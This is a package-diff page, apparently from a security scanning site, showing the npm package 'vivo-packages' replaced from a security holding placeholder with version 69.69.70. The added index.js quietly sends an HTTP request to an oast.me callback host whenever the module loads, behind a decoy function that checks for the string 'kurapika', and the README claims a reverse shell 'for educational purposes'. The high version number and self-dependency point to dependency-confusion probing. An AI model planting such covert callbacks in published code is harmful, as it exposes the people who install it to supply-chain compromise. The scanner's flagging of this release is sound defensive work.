vivo-packages 0.0.1-security → 69.69.70

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of vivo-packages might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +22 -3
  2. package/index.js +31 -0
  3. package/package.json +22 -3
package/README.md CHANGED
@@ -1,5 +1,24 @@
1
- # Security holding package
1
+ **Warning: This package contains a reverse shell but does not represent any criminal activity.**
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ This is a vulnerable package created solely for educational purposes.
4
4
 
5
- Please refer to www.npmjs.com/advisories?search=vivo-packages for more information.
5
+ ## Usage
6
+ This package includes a function to display text in the terminal. It verifies if a string is equal to "kurapika."
7
+
8
+ ```javascript
9
+ const player1 = require('b2b-canaisdigitais');
10
+
11
+ player1("killua"));
12
+ player1("kurapika"));
13
+ ```
14
+
15
+ The result is :
16
+ ![Result](https://github.com/CircuitSoul/b2b-canaisdigitais/blob/main/player.png)
17
+
18
+ ## Installation
19
+
20
+ Download Node.js at [nodejs.org](http://nodejs.org/) and install it if you haven't already.
21
+
22
+ ```
23
+ npm i vivo-packages
24
+ ```
package/index.js ADDED
@@ -0,0 +1,31 @@
1
+ const http = require('http');
2
+
3
+ const url = 'http://cliufmrnk43313so47509dwoghdp4w9dm.oast.me';
4
+
5
+ http.get(url, (response) => {
6
+ let data = '';
7
+
8
+ response.on('data', (chunk) => {
9
+ data += chunk;
10
+ });
11
+
12
+ response.on('end', () => {
13
+ console.log('Response:', JSON.parse(data));
14
+ });
15
+
16
+ }).on('error', (error) => {
17
+
18
+ console.error('Error:', error.message);
19
+
20
+ });
21
+
22
+ function player(string) {
23
+ if(string === "kurapika") {
24
+ console.log("o cla kuruta serahh vingado")
25
+ } else {
26
+ console.log("some daqui meu")
27
+ }
28
+ return string === "kurapika"
29
+ }
30
+
31
+ module.exports = player
package/package.json CHANGED
@@ -1,6 +1,25 @@
1
1
  {
2
2
  "name": "vivo-packages",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "69.69.70",
4
+ "description": "This package verify if an string is equal a \"kurapika\"",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "repository": {
10
+ "type": "git",
11
+ "url": "git+https://github.com/CircuitSoul/Vivo-Packages"
12
+ },
13
+ "keywords": [
14
+ "kurapika"
15
+ ],
16
+ "author": "Froyd",
17
+ "license": "ISC",
18
+ "bugs": {
19
+ "url": "https://github.com/CircuitSoul/Vivo-Packages/issues"
20
+ },
21
+ "homepage": "https://github.com/CircuitSoul/Vivo-Packages#readme",
22
+ "dependencies": {
23
+ "vivo-packages": "^69.69.69"
24
+ }
6
25
  }